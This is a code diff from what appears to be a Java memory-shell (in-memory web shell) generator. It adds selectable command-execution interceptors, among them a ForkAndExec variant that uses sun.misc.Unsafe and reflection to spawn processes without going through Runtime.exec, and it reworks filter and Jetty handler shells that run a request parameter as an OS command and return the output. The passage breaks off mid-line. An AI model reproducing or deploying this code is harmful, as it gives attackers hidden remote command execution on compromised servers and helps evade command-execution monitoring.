diff --git a/boot/build.gradle b/boot/build.gradle index 51174b8c..0ee1dea7 100644 --- a/boot/build.gradle +++ b/boot/build.gradle @@ -48,7 +48,7 @@ dependencies { implementation('org.springframework.boot:spring-boot-starter-web') { exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat' } - implementation 'org.apache.commons:commons-lang3:3.+' + implementation 'org.apache.commons:commons-lang3:3.17.0' implementation 'org.springframework.boot:spring-boot-starter-undertow' compileOnly 'org.projectlombok:lombok' developmentOnly 'org.springframework.boot:spring-boot-devtools' diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index 512cf8dc..3f5f7fcc 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.boot.controller; +import com.reajason.javaweb.boot.vo.CommandConfigVO; import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; @@ -61,8 +62,11 @@ public class ConfigController { return coreMap; } - @GetMapping("/command/encryptors") - public List getCommandEncryptors() { - return Arrays.stream(CommandConfig.Encryptor.values()).toList(); + @GetMapping("/command/configs") + public CommandConfigVO getCommandConfigs() { + CommandConfigVO commandConfigVO = new CommandConfigVO(); + commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList()); + commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList()); + return commandConfigVO; } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java index 548e1af6..15436678 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -29,6 +29,7 @@ public class GenerateRequest { private String headerValue; private String shellClassBase64; private String encryptor; + private String implementationClass; } public ShellToolConfig parseShellToolConfig() { @@ -50,6 +51,7 @@ public class GenerateRequest { .shellClassName(shellToolConfig.getShellClassName()) .paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8))) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) + .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .build(); case Suo5 -> Suo5Config.builder() .shellClassName(shellToolConfig.getShellClassName()) diff --git a/boot/src/main/java/com/reajason/javaweb/boot/vo/CommandConfigVO.java b/boot/src/main/java/com/reajason/javaweb/boot/vo/CommandConfigVO.java new file mode 100644 index 00000000..0ee4120c --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/vo/CommandConfigVO.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.boot.vo; + +import com.reajason.javaweb.memshell.config.CommandConfig; +import lombok.Data; + +import java.util.List; + +/** + * @author ReaJason + * @since 2025/5/25 + */ +@Data +public class CommandConfigVO { + private List encryptors; + private List implementationClasses; +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java index 6e4599bf..8278c1bd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java @@ -20,6 +20,21 @@ public class CommandConfig extends ShellToolConfig { @Builder.Default private Encryptor encryptor = Encryptor.RAW; + @Builder.Default + private ImplementationClass implementationClass = ImplementationClass.RuntimeExec; + + + public enum ImplementationClass { + RuntimeExec, ForkAndExec; + + public static ImplementationClass fromString(String encryptor) { + if (encryptor != null && encryptor.equals("ForkAndExec")) { + return ForkAndExec; + } + return RuntimeExec; + } + } + public enum Encryptor { RAW, DOUBLE_BASE64; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java index 7d39f2bc..9dcdeda7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java @@ -1,8 +1,10 @@ package com.reajason.javaweb.memshell.generator.command; import com.reajason.javaweb.ClassBytesShrink; -import com.reajason.javaweb.buddy.*; -import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; +import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; +import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; @@ -13,10 +15,8 @@ import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FixedValue; -import org.apache.commons.lang3.StringUtils; import java.util.Collections; -import java.util.HashMap; import static net.bytebuddy.matcher.ElementMatchers.named; @@ -68,6 +68,12 @@ public class CommandGenerator { .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); } + if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) { + builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream"))); + } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) { + builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream"))); + } + return builder; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java new file mode 100644 index 00000000..060abbcd --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java @@ -0,0 +1,107 @@ +package com.reajason.javaweb.memshell.generator.command; + +import net.bytebuddy.asm.Advice; +import sun.misc.Unsafe; + +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/5/25 + */ +public class ForkAndExecInterceptor { + @Advice.OnMethodExit + public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { + try { + String[] strs = cmd.split("\\s+"); + Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) theUnsafeField.get(null); + + Class processClass = null; + + try { + processClass = Class.forName("java.lang.UNIXProcess"); + } catch (ClassNotFoundException e) { + processClass = Class.forName("java.lang.ProcessImpl"); + } + Object processObject = unsafe.allocateInstance(processClass); + + byte[][] args = new byte[strs.length - 1][]; + int size = args.length; + + for (int i = 0; i < args.length; i++) { + args[i] = strs[i + 1].getBytes(); + size += args[i].length; + } + + byte[] argBlock = new byte[size]; + int i = 0; + + for (byte[] arg : args) { + System.arraycopy(arg, 0, argBlock, i, arg.length); + i += arg.length + 1; + } + + int[] envc = new int[1]; + int[] std_fds = new int[]{-1, -1, -1}; + byte[] bytes = strs[0].getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, + result, 0, + bytes.length); + result[result.length - 1] = (byte) 0; + try { + Field helperpathField = processClass.getDeclaredField("helperpath"); + helperpathField.setAccessible(true); + byte[] helperpathObject = (byte[]) helperpathField.get(processObject); + + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + launchMechanismField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + int mode = 0; + try { + Field value = launchMechanismObject.getClass().getDeclaredField("value"); + value.setAccessible(true); + mode = (Integer) value.get(launchMechanismObject); + } catch (NoSuchFieldException e) { + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + mode = ordinal + 1; + } + + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } catch (NoSuchFieldException e) { + // JDK7 + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } + + try { + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds); + } catch (NoSuchMethodException e) { + // JDK11 + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds, false); + } + + Method getInputStreamMethod = processClass.getMethod("getInputStream"); + getInputStreamMethod.setAccessible(true); + returnValue = ((InputStream) getInputStreamMethod.invoke(processObject)); + } catch (Throwable e) { + returnValue = Runtime.getRuntime().exec(cmd).getInputStream(); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java new file mode 100644 index 00000000..3083ccbb --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.memshell.generator.command; + +import net.bytebuddy.asm.Advice; + +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + * @since 2025/5/25 + */ +public class RuntimeExecInterceptor { + @Advice.OnMethodExit + public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { + returnValue = Runtime.getRuntime().exec(cmd).getInputStream(); + } +} diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java deleted file mode 100644 index 8e866e28..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java +++ /dev/null @@ -1,173 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.command; - -import com.reajason.javaweb.asm.ClassRenameUtils; -import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream; -import com.reajason.javaweb.memshell.shelltool.FilterChainInterface; -import com.reajason.javaweb.memshell.shelltool.TestFilterChain; -import com.reajason.javaweb.util.ClassUtils; -import lombok.SneakyThrows; -import org.apache.commons.io.IOUtils; -import org.junit.jupiter.api.BeforeEach; -import org.junit.jupiter.api.Test; -import org.junit.jupiter.api.extension.ExtendWith; -import org.mockito.Mock; -import org.mockito.junit.jupiter.MockitoExtension; -import org.objectweb.asm.*; - -import javax.servlet.FilterChain; -import javax.servlet.ServletOutputStream; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.ByteArrayOutputStream; -import java.io.File; -import java.io.FileOutputStream; -import java.nio.charset.StandardCharsets; -import java.util.Objects; - -import static org.junit.jupiter.api.Assertions.assertTrue; -import static org.mockito.Mockito.*; - -/** - * @author ReaJason - * @since 2025/3/30 - */ -@ExtendWith(MockitoExtension.class) -public class CommandFilterChainASMTest { - - @Mock - HttpServletRequest mockRequest; - - @Mock - HttpServletResponse mockResponse; - - Object instance; - - @SuppressWarnings("all") - public static class CustomMethodVisitor extends MethodVisitor { - private final Type customEqualsType; - private final Type[] argumentTypes; - private final String className; - - protected CustomMethodVisitor(MethodVisitor mv, Type[] argTypes) { - super(Opcodes.ASM9, mv); - this.argumentTypes = argTypes; - Command.paramName = "paramName"; - className = Command.class.getName(); - customEqualsType = Type.getObjectType(Command.class.getName().replace('.', '/')); - } - - @Override - public void visitCode() { - loadArgArray(); - Label tryStart = new Label(); - Label tryEnd = new Label(); - Label catchHandler = new Label(); - Label ifConditionFalse = new Label(); - Label skipCatchBlock = new Label(); - mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); - - mv.visitLabel(tryStart); - String internalClassName = className.replace('.', '/'); - mv.visitTypeInsn(Opcodes.NEW, internalClassName); - mv.visitInsn(Opcodes.DUP); - mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); - mv.visitInsn(Opcodes.SWAP); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, - "java/lang/Object", - "equals", - "(Ljava/lang/Object;)Z", - false); - mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); - mv.visitInsn(Opcodes.RETURN); - mv.visitLabel(ifConditionFalse); - mv.visitLabel(tryEnd); - mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); - mv.visitLabel(catchHandler); - mv.visitInsn(Opcodes.POP); - mv.visitLabel(skipCatchBlock); - } - - public void loadArgArray() { - mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - for (int i = 0; i < argumentTypes.length; i++) { - mv.visitInsn(Opcodes.DUP); - push(i); - mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); - mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); - } - } - - public void push(final int value) { - if (value >= -1 && value <= 5) { - mv.visitInsn(Opcodes.ICONST_0 + value); - } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { - mv.visitIntInsn(Opcodes.BIPUSH, value); - } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { - mv.visitIntInsn(Opcodes.SIPUSH, value); - } else { - mv.visitLdcInsn(new Integer(value)); - } - } - - private int getArgIndex(final int arg) { - int index = 1; - for (int i = 0; i < arg; i++) { - index += argumentTypes[i].getSize(); - } - return index; - } - } - - @BeforeEach - @SneakyThrows - void setUp() { - byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class"))); - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); - ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if ("doFilter".equals(name)) { - Type[] argTypes = Type.getArgumentTypes(descriptor); - return new CustomMethodVisitor(mv, argTypes); - } - return mv; - } - }; - cr.accept(cv, ClassReader.EXPAND_FRAMES); - byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm"); - IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class"))); - Class clazz = ClassUtils.defineClass(bytes2); - instance = spy(clazz.newInstance()); - } - - @Test - @SneakyThrows - void testInvokeParam() { - when(mockRequest.getParameter("paramName")).thenReturn("id"); - ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream(); - ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput); - when(mockResponse.getOutputStream()).thenReturn(servletOutputStream); - - instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null); - String output = capturedOutput.toString(StandardCharsets.UTF_8); - assertTrue(output.contains("uid=")); - - verify(((FilterChainInterface) instance), never()).doFilterInternal(); - } - - @Test - @SneakyThrows - void testNotParameter() { - when(mockRequest.getParameter("paramName")).thenReturn(null); - - instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null); - - verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal(); - } -} diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandNormalASMTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandNormalASMTest.java deleted file mode 100644 index 8c15ebd6..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandNormalASMTest.java +++ /dev/null @@ -1,73 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.command; - -import com.reajason.javaweb.asm.ClassRenameUtils; -import com.reajason.javaweb.memshell.shelltool.TestFilterChain; -import lombok.SneakyThrows; -import org.apache.commons.io.IOUtils; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.*; -import org.objectweb.asm.commons.AdviceAdapter; -import org.objectweb.asm.commons.Method; - -import java.util.Objects; - -/** - * @author ReaJason - * @since 2025/5/15 - */ -public class CommandNormalASMTest { - @Test - @SneakyThrows - void test() { - byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class"))); - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); - ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if ("doFilter".equals(name)) { - return new CommandFilterChainAsmMethodVisitor(mv, access, name, descriptor); - } - return mv; - } - }; - cr.accept(cv, ClassReader.EXPAND_FRAMES); - byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm"); -// IOUtils.write(bytes2, new FileOutputStream("test.class")); - } - - static class Hello { - @Override - public boolean equals(Object obj) { - System.out.println("hello world"); - return true; - } - } - - static class CommandFilterChainAsmMethodVisitor extends AdviceAdapter { - private static final Method CUSTOM_EQUALS_CONSTRUCTOR = Method.getMethod("void ()"); - private static final Method CUSTOM_EQUALS_METHOD = Method.getMethod("boolean equals (java.lang.Object)"); - private final Type customEqualsType; - - protected CommandFilterChainAsmMethodVisitor(MethodVisitor mv, int access, String name, String descriptor) { - super(Opcodes.ASM9, mv, access, name, descriptor); - customEqualsType = Type.getObjectType("com.reajason.javaweb.memshell.shelltool.command.CommandNormalASMTest.Hello".replace('.', '/')); - } - - @Override - protected void onMethodEnter() { - loadArgArray(); - newInstance(customEqualsType); - dup(); - invokeConstructor(customEqualsType, CUSTOM_EQUALS_CONSTRUCTOR); - swap(); - invokeVirtual(customEqualsType, CUSTOM_EQUALS_METHOD); - Label skipReturnLabel = new Label(); - mv.visitJumpInsn(IFEQ, skipReturnLabel); - mv.visitInsn(RETURN); - mark(skipReturnLabel); - } - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java index 63a5548a..754810b9 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java @@ -1,11 +1,8 @@ package com.reajason.javaweb.memshell.shelltool.command; -import sun.misc.Unsafe; - import java.io.InputStream; import java.io.OutputStream; import java.lang.reflect.Field; -import java.lang.reflect.Method; /** * @author ReaJason @@ -14,10 +11,14 @@ import java.lang.reflect.Method; public class Command { public static String paramName; - public String getParam(String param) { + private String getParam(String param) { return param; } + private InputStream getInputStream(String cmd) throws Exception { + return null; + } + @Override public boolean equals(Object obj) { Object[] args = ((Object[]) obj); @@ -26,12 +27,7 @@ public class Command { try { String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); if (cmd != null) { - InputStream inputStream = null; - try { - inputStream = forkAndExec(cmd); - } catch (Throwable e) { - inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); - } + InputStream inputStream = getInputStream(cmd); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); byte[] buf = new byte[8192]; int length; @@ -46,105 +42,6 @@ public class Command { return false; } - public InputStream getInputStream(String cmd) { - return null; - } - - @SuppressWarnings("all") - public static InputStream forkAndExec(String cmd) throws Exception { - String[] strs = cmd.split("\\s+"); - Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); - theUnsafeField.setAccessible(true); - Unsafe unsafe = (Unsafe) theUnsafeField.get(null); - - Class processClass = null; - - try { - processClass = Class.forName("java.lang.UNIXProcess"); - } catch (ClassNotFoundException e) { - processClass = Class.forName("java.lang.ProcessImpl"); - } - Object processObject = unsafe.allocateInstance(processClass); - - byte[][] args = new byte[strs.length - 1][]; - int size = args.length; - - for (int i = 0; i < args.length; i++) { - args[i] = strs[i + 1].getBytes(); - size += args[i].length; - } - - byte[] argBlock = new byte[size]; - int i = 0; - - for (byte[] arg : args) { - System.arraycopy(arg, 0, argBlock, i, arg.length); - i += arg.length + 1; - } - - int[] envc = new int[1]; - int[] std_fds = new int[]{-1, -1, -1}; - byte[] result = toCString(strs[0]); - try { - Field helperpathField = processClass.getDeclaredField("helperpath"); - helperpathField.setAccessible(true); - byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); - launchMechanismField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); - int mode = 0; - try { - Field value = launchMechanismObject.getClass().getDeclaredField("value"); - value.setAccessible(true); - mode = (Integer) value.get(launchMechanismObject); - } catch (NoSuchFieldException e) { - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); - mode = ordinal + 1; - } - - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } catch (NoSuchFieldException e) { - // JDK7 - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } - - try { - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds); - } catch (NoSuchMethodException e) { - // JDK11 - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds, false); - } - - Method getInputStreamMethod = processClass.getMethod("getInputStream"); - getInputStreamMethod.setAccessible(true); - return (InputStream) getInputStreamMethod.invoke(processObject); - } - - private static byte[] toCString(String s) { - if (s == null) - return null; - byte[] bytes = s.getBytes(); - byte[] result = new byte[bytes.length + 1]; - System.arraycopy(bytes, 0, - result, 0, - bytes.length); - result[result.length - 1] = (byte) 0; - return result; - } - public Object unwrapRequest(Object request) { Object internalRequest = request; while (true) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java index bdad63eb..b4762923 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java @@ -1,31 +1,31 @@ package com.reajason.javaweb.memshell.shelltool.command; -import sun.misc.Unsafe; - import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; -import java.lang.reflect.Field; -import java.lang.reflect.Method; /** * @author ReaJason * @since 2024/11/24 */ public class CommandFilter implements Filter { - public static String paramName; + private static String paramName; @Override public void init(FilterConfig filterConfig) throws ServletException { } - public String getParam(String param) { + private String getParam(String param) { return param; } + private InputStream getInputStream(String cmd) throws Exception { + return null; + } + @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest servletRequest = (HttpServletRequest) request; @@ -33,12 +33,7 @@ public class CommandFilter implements Filter { String cmd = getParam(servletRequest.getParameter(paramName)); try { if (cmd != null) { - InputStream inputStream = null; - try { - inputStream = forkAndExec(cmd); - } catch (Throwable e) { - inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); - } + InputStream inputStream = getInputStream(cmd); ServletOutputStream outputStream = servletResponse.getOutputStream(); byte[] buf = new byte[8192]; int length; @@ -53,101 +48,6 @@ public class CommandFilter implements Filter { chain.doFilter(servletRequest, servletResponse); } - @SuppressWarnings("all") - public static InputStream forkAndExec(String cmd) throws Exception { - String[] strs = cmd.split("\\s+"); - Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); - theUnsafeField.setAccessible(true); - Unsafe unsafe = (Unsafe) theUnsafeField.get(null); - - Class processClass = null; - - try { - processClass = Class.forName("java.lang.UNIXProcess"); - } catch (ClassNotFoundException e) { - processClass = Class.forName("java.lang.ProcessImpl"); - } - Object processObject = unsafe.allocateInstance(processClass); - - byte[][] args = new byte[strs.length - 1][]; - int size = args.length; - - for (int i = 0; i < args.length; i++) { - args[i] = strs[i + 1].getBytes(); - size += args[i].length; - } - - byte[] argBlock = new byte[size]; - int i = 0; - - for (byte[] arg : args) { - System.arraycopy(arg, 0, argBlock, i, arg.length); - i += arg.length + 1; - } - - int[] envc = new int[1]; - int[] std_fds = new int[]{-1, -1, -1}; - byte[] result = toCString(strs[0]); - try { - Field helperpathField = processClass.getDeclaredField("helperpath"); - helperpathField.setAccessible(true); - byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); - launchMechanismField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); - int mode = 0; - try { - Field value = launchMechanismObject.getClass().getDeclaredField("value"); - value.setAccessible(true); - mode = (Integer) value.get(launchMechanismObject); - } catch (NoSuchFieldException e) { - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); - mode = ordinal + 1; - } - - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } catch (NoSuchFieldException e) { - // JDK7 - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - forkMethod.invoke(processObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); - } - - try { - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds); - } catch (NoSuchMethodException e) { - // JDK11 - Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); - initStreamsMethod.setAccessible(true); - initStreamsMethod.invoke(processObject, std_fds, false); - } - - Method getInputStreamMethod = processClass.getMethod("getInputStream"); - getInputStreamMethod.setAccessible(true); - return (InputStream) getInputStreamMethod.invoke(processObject); - } - - private static byte[] toCString(String s) { - if (s == null) - return null; - byte[] bytes = s.getBytes(); - byte[] result = new byte[bytes.length + 1]; - System.arraycopy(bytes, 0, - result, 0, - bytes.length); - result[result.length - 1] = (byte) 0; - return result; - } - @Override public void destroy() { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java index cf0b7f4e..413a8ccd 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java @@ -12,12 +12,16 @@ import java.lang.reflect.Method; * @since 2025/5/15 */ public class CommandJettyHandler { - public static String paramName; + private static String paramName; - public String getParam(String param) { + private String getParam(String param) { return param; } + private InputStream getInputStream(String cmd) throws Exception { + return null; + } + @Override public boolean equals(Object obj) { Object[] args = ((Object[]) obj); @@ -46,12 +50,7 @@ public class CommandJettyHandler { if (baseRequest != null) { baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); } - InputStream inputStream = null; - try { - inputStream = forkAndExec(cmd); - } catch (Throwable e) { - inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); - } + InputStream inputStream = getInputStream(cmd); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); byte[] buf = new byte[8192]; int length; @@ -65,99 +64,4 @@ public class CommandJettyHandler { } return false; } - - @SuppressWarnings("all") - public static InputStream forkAndExec(String cmd) throws Exception { - String[] strs = cmd.split("\\s+"); - Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); - theUnsafeField.setAccessible(true); - Unsafe unsafe = (Unsafe) theUnsafeField.get(null); - - Class processClass = null; - - try { - processClass = Class.forName("java.lang.UNIXProcess"); - } catch (ClassNotFoundException e) { - processClass = Class.forName("java.lang.ProcessImpl"); - } - Object processObject = 